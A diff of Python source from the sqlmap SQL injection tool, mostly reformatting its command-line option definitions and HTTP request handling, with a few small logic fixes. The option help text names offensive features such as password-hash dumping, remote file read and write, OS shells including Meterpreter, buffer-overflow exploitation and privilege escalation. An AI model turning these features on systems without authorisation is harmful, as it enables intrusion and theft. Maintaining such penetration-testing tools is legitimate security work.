 
         enumeration.add_option("--users", dest="getUsers", action="store_true",
                                help="Enumerate DBMS users")
 
-        enumeration.add_option("--passwords", dest="getPasswordHashes",
+        enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true",
-                               action="store_true",
                                help="Enumerate DBMS users password hashes")
 
-        enumeration.add_option("--privileges", dest="getPrivileges",
+        enumeration.add_option("--privileges", dest="getPrivileges", action="store_true",
-                               action="store_true",
                                help="Enumerate DBMS users privileges")
 
-        enumeration.add_option("--roles", dest="getRoles",
+        enumeration.add_option("--roles", dest="getRoles", action="store_true",
-                               action="store_true",
                                help="Enumerate DBMS users roles")
 
         enumeration.add_option("--dbs", dest="getDbs", action="store_true",
@@ -464,16 +411,14 @@ def cmdLineParser(argv=None):
         enumeration.add_option("-C", dest="col",
                                help="DBMS database table column(s) to enumerate")
 
-        enumeration.add_option("-X", dest="excludeCol",
+        enumeration.add_option("-X", dest="exclude",
-                               help="DBMS database table column(s) to not enumerate")
+                               help="DBMS database identifier(s) to not enumerate")
 
         enumeration.add_option("-U", dest="user",
                                help="DBMS user to enumerate")
 
-        enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
+        enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true",
-                               action="store_true",
+                               help="Exclude DBMS system databases when enumerating tables")
-                               help="Exclude DBMS system databases when "
-                                    "enumerating tables")
 
         enumeration.add_option("--pivot-column", dest="pivotColumn",
                                help="Pivot column name")
@@ -496,28 +441,23 @@ def cmdLineParser(argv=None):
         enumeration.add_option("--sql-query", dest="query",
                                help="SQL statement to be executed")
 
-        enumeration.add_option("--sql-shell", dest="sqlShell",
+        enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true",
-                               action="store_true",
                                help="Prompt for an interactive SQL shell")
 
         enumeration.add_option("--sql-file", dest="sqlFile",
                                help="Execute SQL statements from given file(s)")
 
         # Brute force options
-        brute = OptionGroup(parser, "Brute force", "These "
+        brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks")
-                          "options can be used to run brute force "
-                          "checks")
 
         brute.add_option("--common-tables", dest="commonTables", action="store_true",
-                               help="Check existence of common tables")
+                         help="Check existence of common tables")
 
         brute.add_option("--common-columns", dest="commonColumns", action="store_true",
-                               help="Check existence of common columns")
+                         help="Check existence of common columns")
 
         # User-defined function options
-        udf = OptionGroup(parser, "User-defined function injection", "These "
+        udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions")
-                          "options can be used to create custom user-defined "
-                          "functions")
 
         udf.add_option("--udf-inject", dest="udfInject", action="store_true",
                        help="Inject custom user-defined functions")
@@ -526,167 +466,131 @@ def cmdLineParser(argv=None):
                        help="Local path of the shared library")
 
         # File system options
-        filesystem = OptionGroup(parser, "File system access", "These options "
+        filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
-                                 "can be used to access the back-end database "
-                                 "management system underlying file system")
 
         filesystem.add_option("--file-read", dest="rFile",
-                              help="Read a file from the back-end DBMS "
+                              help="Read a file from the back-end DBMS file system")
-                                   "file system")
 
         filesystem.add_option("--file-write", dest="wFile",
-                              help="Write a local file on the back-end "
+                              help="Write a local file on the back-end DBMS file system")
-                                   "DBMS file system")
 
         filesystem.add_option("--file-dest", dest="dFile",
-                              help="Back-end DBMS absolute filepath to "
+                              help="Back-end DBMS absolute filepath to write to")
-                                   "write to")
 
         # Takeover options
-        takeover = OptionGroup(parser, "Operating system access", "These "
+        takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system")
-                               "options can be used to access the back-end "
-                               "database management system underlying "
-                               "operating system")
 
         takeover.add_option("--os-cmd", dest="osCmd",
                             help="Execute an operating system command")
 
-        takeover.add_option("--os-shell", dest="osShell",
+        takeover.add_option("--os-shell", dest="osShell", action="store_true",
-                            action="store_true",
+                            help="Prompt for an interactive operating system shell")
-                            help="Prompt for an interactive operating "
-                                 "system shell")
 
-        takeover.add_option("--os-pwn", dest="osPwn",
+        takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
-                            action="store_true",
+                            help="Prompt for an OOB shell, Meterpreter or VNC")
-                            help="Prompt for an OOB shell, "
-                                 "Meterpreter or VNC")
 
-        takeover.add_option("--os-smbrelay", dest="osSmb",
+        takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
-                            action="store_true",
+                            help="One click prompt for an OOB shell, Meterpreter or VNC")
-                            help="One click prompt for an OOB shell, "
-                                 "Meterpreter or VNC")
 
-        takeover.add_option("--os-bof", dest="osBof",
+        takeover.add_option("--os-bof", dest="osBof", action="store_true",
-                            action="store_true",
                             help="Stored procedure buffer overflow "
                                  "exploitation")
 
-        takeover.add_option("--priv-esc", dest="privEsc",
+        takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
-                            action="store_true",
                             help="Database process user privilege escalation")
 
         takeover.add_option("--msf-path", dest="msfPath",
-                            help="Local path where Metasploit Framework "
+                            help="Local path where Metasploit Framework is installed")
-                                 "is installed")
 
         takeover.add_option("--tmp-path", dest="tmpPath",
-                            help="Remote absolute path of temporary files "
+                            help="Remote absolute path of temporary files directory")
-                                 "directory")
 
         # Windows registry options
-        windows = OptionGroup(parser, "Windows registry access", "These "
+        windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry")
-                               "options can be used to access the back-end "
-                               "database management system Windows "
-                               "registry")
 
-        windows.add_option("--reg-read", dest="regRead",
+        windows.add_option("--reg-read", dest="regRead", action="store_true",
-                            action="store_true",
+                           help="Read a Windows registry key value")
-                            help="Read a Windows registry key value")
 
-        windows.add_option("--reg-add", dest="regAdd",
+        windows.add_option("--reg-add", dest="regAdd", action="store_true",
-                            action="store_true",
+                           help="Write a Windows registry key value data")
-                            help="Write a Windows registry key value data")
 
-        windows.add_option("--reg-del", dest="regDel",
+        windows.add_option("--reg-del", dest="regDel", action="store_true",
-                            action="store_true",
+                           help="Delete a Windows registry key value")
-                            help="Delete a Windows registry key value")
 
         windows.add_option("--reg-key", dest="regKey",
-                            help="Windows registry key")
+                           help="Windows registry key")
 
         windows.add_option("--reg-value", dest="regVal",
-                            help="Windows registry key value")
+                           help="Windows registry key value")
 
         windows.add_option("--reg-data", dest="regData",
-                            help="Windows registry key value data")
+                           help="Windows registry key value data")
 
         windows.add_option("--reg-type", dest="regType",
-                            help="Windows registry key value type")
+                           help="Windows registry key value type")
 
         # General options
-        general = OptionGroup(parser, "General", "These options can be used "
+        general = OptionGroup(parser, "General", "These options can be used to set some general working parameters")
-                             "to set some general working parameters")
 
         general.add_option("-s", dest="sessionFile",
-                            help="Load session from a stored (.sqlite) file")
+                           help="Load session from a stored (.sqlite) file")
 
         general.add_option("-t", dest="trafficFile",
-                            help="Log all HTTP traffic into a "
+                           help="Log all HTTP traffic into a textual file")
-                            "textual file")
 
-        general.add_option("--batch", dest="batch",
+        general.add_option("--batch", dest="batch", action="store_true",
-                            action="store_true",
+                           help="Never ask for user input, use the default behavior")
-                            help="Never ask for user input, use the default behavior")
 
         general.add_option("--binary-fields", dest="binaryFields",
-                          help="Result fields having binary values (e.g. \"digest\")")
+                           help="Result fields having binary values (e.g. \"digest\")")
 
-        general.add_option("--check-internet", dest="checkInternet",
+        general.add_option("--check-internet", dest="checkInternet", action="store_true",
-                            action="store_true",
+                           help="Check Internet connection before assessing the target")
-                            help="Check Internet connection before assessing the target")
 
         general.add_option("--crawl", dest="crawlDepth", type="int",
-                            help="Crawl the website starting from the target URL")
+                           help="Crawl the website starting from the target URL")
 
         general.add_option("--crawl-exclude", dest="crawlExclude",
                            help="Regexp to exclude pages from crawling (e.g. \"logout\")")
 
         general.add_option("--csv-del", dest="csvDel",
-                                  help="Delimiting character used in CSV output "
+                           help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel)
-                                  "(default \"%s\")" % defaults.csvDel)
 
         general.add_option("--charset", dest="charset",
                            help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")
 
         general.add_option("--dump-format", dest="dumpFormat",
-                                  help="Format of dumped data (CSV (default), HTML or SQLITE)")
+                           help="Format of dumped data (CSV (default), HTML or SQLITE)")
 
         general.add_option("--encoding", dest="encoding",
-                            help="Character encoding used for data retrieval (e.g. GBK)")
+                           help="Character encoding used for data retrieval (e.g. GBK)")
 
-        general.add_option("--eta", dest="eta",
+        general.add_option("--eta", dest="eta", action="store_true",
-                            action="store_true",
+                           help="Display for each output the estimated time of arrival")
-                            help="Display for each output the estimated time of arrival")
 
-        general.add_option("--flush-session", dest="flushSession",
+        general.add_option("--flush-session", dest="flushSession", action="store_true",
-                            action="store_true",
+                           help="Flush session files for current target")
-                            help="Flush session files for current target")
 
-        general.add_option("--forms", dest="forms",
+        general.add_option("--forms", dest="forms", action="store_true",
-                                  action="store_true",
+                           help="Parse and test forms on target URL")
-                                  help="Parse and test forms on target URL")
 
-        general.add_option("--fresh-queries", dest="freshQueries",
+        general.add_option("--fresh-queries", dest="freshQueries", action="store_true",
-                            action="store_true",
+                           help="Ignore query results stored in session file")
-                            help="Ignore query results stored in session file")
 
         general.add_option("--har", dest="harFile",
                            help="Log all HTTP traffic into a HAR file")
 
-        general.add_option("--hex", dest="hexConvert",
+        general.add_option("--hex", dest="hexConvert", action="store_true",
-                            action="store_true",
+                           help="Use DBMS hex function(s) for data retrieval")
-                            help="Use DBMS hex function(s) for data retrieval")
 
-        general.add_option("--output-dir", dest="outputDir",
+        general.add_option("--output-dir", dest="outputDir", action="store",
-                            action="store",
+                           help="Custom output directory path")
-                            help="Custom output directory path")
 
-        general.add_option("--parse-errors", dest="parseErrors",
+        general.add_option("--parse-errors", dest="parseErrors", action="store_true",
-                                  action="store_true",
+                           help="Parse and display DBMS error messages from responses")
-                                  help="Parse and display DBMS error messages from responses")
 
         general.add_option("--save", dest="saveConfig",
-                            help="Save options to a configuration INI file")
+                           help="Save options to a configuration INI file")
 
         general.add_option("--scope", dest="scope",
                            help="Regexp to filter targets from provided proxy log")
@@ -697,77 +601,65 @@ def cmdLineParser(argv=None):
         general.add_option("--test-skip", dest="testSkip",
                            help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
 
-        general.add_option("--update", dest="updateAll",
+        general.add_option("--update", dest="updateAll", action="store_true",
-                            action="store_true",
+                           help="Update sqlmap")
-                            help="Update sqlmap")
 
         # Miscellaneous options
         miscellaneous = OptionGroup(parser, "Miscellaneous")
 
         miscellaneous.add_option("-z", dest="mnemonics",
-                               help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
+                                 help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
 
         miscellaneous.add_option("--alert", dest="alert",
-                                  help="Run host OS command(s) when SQL injection is found")
+                                 help="Run host OS command(s) when SQL injection is found")
 
         miscellaneous.add_option("--answers", dest="answers",
-                                  help="Set question answers (e.g. \"quit=N,follow=N\")")
+                                 help="Set question answers (e.g. \"quit=N,follow=N\")")
 
         miscellaneous.add_option("--beep", dest="beep", action="store_true",
-                                  help="Beep on question and/or when SQL injection is found")
+                                 help="Beep on question and/or when SQL injection is found")
 
-        miscellaneous.add_option("--cleanup", dest="cleanup",
+        miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
-                                  action="store_true",
+                                 help="Clean up the DBMS from sqlmap specific UDF and tables")
-                                  help="Clean up the DBMS from sqlmap specific "
-                                  "UDF and tables")
 
-        miscellaneous.add_option("--dependencies", dest="dependencies",
+        miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
-                                  action="store_true",
+                                 help="Check for missing (non-core) sqlmap dependencies")
-                                  help="Check for missing (non-core) sqlmap dependencies")
 
-        miscellaneous.add_option("--disable-coloring", dest="disableColoring",
+        miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
-                                  action="store_true",
+                                 help="Disable console output coloring")
-                                  help="Disable console output coloring")
 
         miscellaneous.add_option("--gpage", dest="googlePage", type="int",
-                                  help="Use Google dork results from specified page number")
+                                 help="Use Google dork results from specified page number")
 
-        miscellaneous.add_option("--identify-waf", dest="identifyWaf",
+        miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
-                                  action="store_true",
+                                 help="Make a thorough testing for a WAF/IPS/IDS protection")
-                                  help="Make a thorough testing for a WAF/IPS/IDS protection")
 
-        miscellaneous.add_option("--mobile", dest="mobile",
+        miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
-                                  action="store_true",
+                                 help="Imitate smartphone through HTTP User-Agent header")
-                                  help="Imitate smartphone through HTTP User-Agent header")
 
-        miscellaneous.add_option("--offline", dest="offline",
+        miscellaneous.add_option("--offline", dest="offline", action="store_true",
-                                  action="store_true",
+                                 help="Work in offline mode (only use session data)")
-                                  help="Work in offline mode (only use session data)")
 
-        miscellaneous.add_option("--purge-output", dest="purgeOutput",
+        miscellaneous.add_option("--purge-output", dest="purgeOutput", action="store_true",
-                                  action="store_true",
+                                 help="Safely remove all content from output directory")
-                                  help="Safely remove all content from output directory")
 
-        miscellaneous.add_option("--skip-waf", dest="skipWaf",
+        miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
-                                  action="store_true",
+                                 help="Skip heuristic detection of WAF/IPS/IDS protection")
-                                  help="Skip heuristic detection of WAF/IPS/IDS protection")
 
-        miscellaneous.add_option("--smart", dest="smart",
+        miscellaneous.add_option("--smart", dest="smart", action="store_true",
-                                  action="store_true",
+                                 help="Conduct thorough tests only if positive heuristic(s)")
-                                  help="Conduct thorough tests only if positive heuristic(s)")
 
         miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
-                                  help="Prompt for an interactive sqlmap shell")
+                                 help="Prompt for an interactive sqlmap shell")
 
         miscellaneous.add_option("--tmp-dir", dest="tmpDir",
-                                  help="Local directory for storing temporary files")
+                                 help="Local directory for storing temporary files")
 
         miscellaneous.add_option("--web-root", dest="webRoot",
-                                  help="Web server document root directory (e.g. \"/var/www\")")
+                                 help="Web server document root directory (e.g. \"/var/www\")")
 
-        miscellaneous.add_option("--wizard", dest="wizard",
+        miscellaneous.add_option("--wizard", dest="wizard", action="store_true",
-                                  action="store_true",
+                                 help="Simple wizard interface for beginner users")
-                                  help="Simple wizard interface for beginner users")
 
         # Hidden and/or experimental options
         parser.add_option("--dummy", dest="dummy", action="store_true",
@@ -791,6 +683,9 @@ def cmdLineParser(argv=None):
         parser.add_option("--force-dns", dest="forceDns", action="store_true",
                           help=SUPPRESS_HELP)
 
+        parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true",
+                          help=SUPPRESS_HELP)
+
         parser.add_option("--force-threads", dest="forceThreads", action="store_true",
                           help=SUPPRESS_HELP)
 
@@ -909,7 +804,7 @@ def cmdLineParser(argv=None):
                 for arg in shlex.split(command):
                     argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
             except ValueError, ex:
-                raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
+                raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)
 
         for i in xrange(len(argv)):
             if argv[i] == "-hh":
@@ -976,9 +871,7 @@ def cmdLineParser(argv=None):
         if args.dummy:
             args.url = args.url or DUMMY_URL
 
-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purgeOutput, args.sitemapUrl)):
-            args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
-            args.purgeOutput, args.sitemapUrl)):
             errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
             errMsg += "use -h for basic or -hh for advanced help\n"
             parser.error(errMsg)

lib/parse/headers.py

@@ -13,7 +13,6 @@ from lib.core.data import kb
 from lib.core.data import paths
 from lib.parse.handler import FingerprintHandler
 
-
 def headersParser(headers):
     """
     This function calls a class that parses the input HTTP headers to
@@ -24,18 +23,16 @@ def headersParser(headers):
     if not kb.headerPaths:
         kb.headerPaths = {
             "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
-            "server":                          os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
+            "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
-            "servlet-engine":                  os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
+            "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
-            "set-cookie":                      os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
+            "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
-            "x-aspnet-version":                os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
+            "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
-            "x-powered-by":                    os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
+            "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
         }
 
-    for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers):
+    for header in itertools.ifilter(lambda _: _ in kb.headerPaths, headers):
         value = headers[header]
         xmlfile = kb.headerPaths[header]
-
         handler = FingerprintHandler(value, kb.headersFp)
-
         parseXmlFile(xmlfile, handler)
         parseXmlFile(paths.GENERIC_XML, handler)

lib/parse/html.py

@@ -9,6 +9,7 @@ import re
 
 from xml.sax.handler import ContentHandler
 
+from lib.core.common import urldecode
 from lib.core.common import parseXmlFile
 from lib.core.data import kb
 from lib.core.data import paths
@@ -26,6 +27,7 @@ class HTMLHandler(ContentHandler):
         self._dbms = None
         self._page = (page or "")
         self._lower_page = self._page.lower()
+        self._urldecoded_page = urldecode(self._page)
 
         self.dbms = None
 
@@ -47,7 +49,7 @@ class HTMLHandler(ContentHandler):
                 keywords = sorted(keywords, key=len)
                 kb.cache.regex[regexp] = keywords[-1].lower()
 
-            if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._page, re.I):
+            if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
                 self.dbms = self._dbms
                 self._markAsErrorPage()
 

lib/parse/payloads.py

@@ -78,7 +78,7 @@ def loadBoundaries():
         errMsg = "something appears to be wrong with "
         errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
         errMsg += "sure that you haven't made any changes to it"
-        raise SqlmapInstallationException, errMsg
+        raise SqlmapInstallationException(errMsg)
 
     root = doc.getroot()
     parseXmlNode(root)
@@ -93,7 +93,7 @@ def loadPayloads():
             errMsg = "something appears to be wrong with "
             errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
             errMsg += "sure that you haven't made any changes to it"
-            raise SqlmapInstallationException, errMsg
+            raise SqlmapInstallationException(errMsg)
 
         root = doc.getroot()
         parseXmlNode(root)

lib/parse/sitemap.py

@@ -32,7 +32,7 @@ def parseSitemap(url, retVal=None):
             content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
         except httplib.InvalidURL:
             errMsg = "invalid URL given for sitemap ('%s')" % url
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)
 
         for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
             if abortedFlag:

lib/request/basic.py

@@ -61,7 +61,7 @@ def forgeHeaders(items=None, base=None):
         if items[_] is None:
             del items[_]
 
-    headers = OrderedDict(base or conf.httpHeaders)
+    headers = OrderedDict(conf.httpHeaders if base is None else base)
     headers.update(items.items())
 
     class _str(str):
@@ -110,7 +110,9 @@ def forgeHeaders(items=None, base=None):
                         kb.mergeCookies = readInput(message, default='Y', boolean=True)
 
                     if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
-                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
+                        def _(value):
+                            return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
+
                         headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
 
                         if PLACE.COOKIE in conf.parameters:
@@ -161,7 +163,7 @@ def checkCharEncoding(encoding, warn=True):
         return encoding
 
     # Reference: http://www.destructor.de/charsets/index.htm
-    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8",  "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
+    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
 
     for delimiter in (';', ',', '('):
         if delimiter in encoding:
@@ -218,10 +220,6 @@ def checkCharEncoding(encoding, warn=True):
     try:
         codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
     except (LookupError, ValueError):
-        if warn:
-            warnMsg = "unknown web page charset '%s'. " % encoding
-            warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS
-            singleTimeLogMessage(warnMsg, logging.WARN, encoding)
         encoding = None
 
     if encoding:
@@ -332,7 +330,7 @@ def decodePage(page, contentEncoding, contentType):
 
             kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
 
-            if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig":
+            if (kb.pageEncoding or "").lower() == "utf-8-sig":
                 kb.pageEncoding = "utf-8"
                 if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
                     page = page[3:]
@@ -388,7 +386,7 @@ def processResponse(page, responseHeaders, status=None):
                             continue
 
                         conf.paramDict[PLACE.POST][name] = value
-                conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])
+                conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST])
 
     if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
         kb.browserVerification = True

lib/request/basicauthhandler.py

@@ -30,10 +30,8 @@ class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler):
             self.retried_count = 0
         else:
             if self.retried_count > 5:
-                raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed",
+                raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None)
-                                headers, None)
             else:
                 self.retried_count += 1
 
-        return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(
+        return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers)
-                        self, auth_header, host, req, headers)

lib/request/connect.py

@@ -34,6 +34,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import checkSameHost
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import escapeJsonValue
 from lib.core.common import evaluateCode
 from lib.core.common import extractRegexResult
 from lib.core.common import findMultipartPostBoundary
@@ -63,6 +64,7 @@ from lib.core.common import urlencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import POST_HINT_CONTENT_TYPES
 from lib.core.enums import ADJUST_TIME_DELAY
 from lib.core.enums import AUTH_TYPE
@@ -118,7 +120,6 @@ from lib.request.methodrequest import MethodRequest
 from thirdparty.odict.odict import OrderedDict
 from thirdparty.socks.socks import ProxyError
 
-
 class Connect(object):
     """
     This class defines methods used to perform HTTP requests
@@ -187,13 +188,13 @@ class Connect(object):
 
         if not kb.dnsMode and conn:
             headers = conn.info()
-            if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\
+            if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
-              or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
                 retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
                 if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
                     warnMsg = "large compressed response detected. Disabling compression"
                     singleTimeWarnMessage(warnMsg)
                     kb.pageCompress = False
+                    raise SqlmapCompressionException
             else:
                 while True:
                     if not conn:
@@ -241,27 +242,27 @@ class Connect(object):
             kb.requestCounter += 1
             threadData.lastRequestUID = kb.requestCounter
 
-        url = kwargs.get("url",                     None) or conf.url
+        url = kwargs.get("url", None) or conf.url
-        get = kwargs.get("get",                     None)
+        get = kwargs.get("get", None)
-        post = kwargs.get("post",                   None)
+        post = kwargs.get("post", None)
-        method = kwargs.get("method",               None)
+        method = kwargs.get("method", None)
-        cookie = kwargs.get("cookie",               None)
+        cookie = kwargs.get("cookie", None)
-        ua = kwargs.get("ua",                       None) or conf.agent
+        ua = kwargs.get("ua", None) or conf.agent
-        referer = kwargs.get("referer",             None) or conf.referer
+        referer = kwargs.get("referer", None) or conf.referer
-        host = kwargs.get("host",                   None) or conf.host
+        host = kwargs.get("host", None) or conf.host
-        direct_ = kwargs.get("direct",              False)
+        direct_ = kwargs.get("direct", False)
-        multipart = kwargs.get("multipart",         None)
+        multipart = kwargs.get("multipart", None)
-        silent = kwargs.get("silent",               False)
+        silent = kwargs.get("silent", False)
-        raise404 = kwargs.get("raise404",           True)
+        raise404 = kwargs.get("raise404", True)
-        timeout = kwargs.get("timeout",             None) or conf.timeout
+        timeout = kwargs.get("timeout", None) or conf.timeout
-        auxHeaders = kwargs.get("auxHeaders",       None)
+        auxHeaders = kwargs.get("auxHeaders", None)
-        response = kwargs.get("response",           False)
+        response = kwargs.get("response", False)
         ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
-        refreshing = kwargs.get("refreshing",       False)
+        refreshing = kwargs.get("refreshing", False)
-        retrying = kwargs.get("retrying",           False)
+        retrying = kwargs.get("retrying", False)
-        crawling = kwargs.get("crawling",           False)
+        crawling = kwargs.get("crawling", False)
-        checking = kwargs.get("checking",           False)
+        checking = kwargs.get("checking", False)
-        skipRead = kwargs.get("skipRead",           False)
+        skipRead = kwargs.get("skipRead", False)
 
         if multipart:
             post = multipart
@@ -346,7 +347,7 @@ class Connect(object):
             requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
 
             # Prepare HTTP headers
-            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host})
+            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})
 
             if HTTP_HEADER.COOKIE in headers:
                 cookie = headers[HTTP_HEADER.COOKIE]
@@ -428,8 +429,10 @@ class Connect(object):
                     method = unicodeencode(method)
                     req = MethodRequest(url, post, headers)
                     req.set_method(method)
-                else:
+                elif url is not None:
                     req = urllib2.Request(url, post, headers)
+                else:
+                    return None, None, None
 
                 requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
 
@@ -479,8 +482,7 @@ class Connect(object):
 
                 # Get HTTP response
                 if hasattr(conn, "redurl"):
-                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
+                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
-                    else Connect._connReadProxy(conn)) if not skipRead else None
                     skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                     code = conn.redcode
                 else:
@@ -495,7 +497,7 @@ class Connect(object):
                     responseHeaders = {}
 
                 page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
-                status = getUnicode(conn.msg) if conn else None
+                status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
 
             kb.connErrorCounter = 0
 
@@ -578,7 +580,7 @@ class Connect(object):
                 page = page if isinstance(page, unicode) else getUnicode(page)
 
             code = ex.code
-            status = getUnicode(ex.msg)
+            status = getSafeExString(ex)
 
             kb.originalCode = kb.originalCode or code
             threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
@@ -642,13 +644,6 @@ class Connect(object):
             elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
                 warnMsg = "connection was forcibly closed by the target URL"
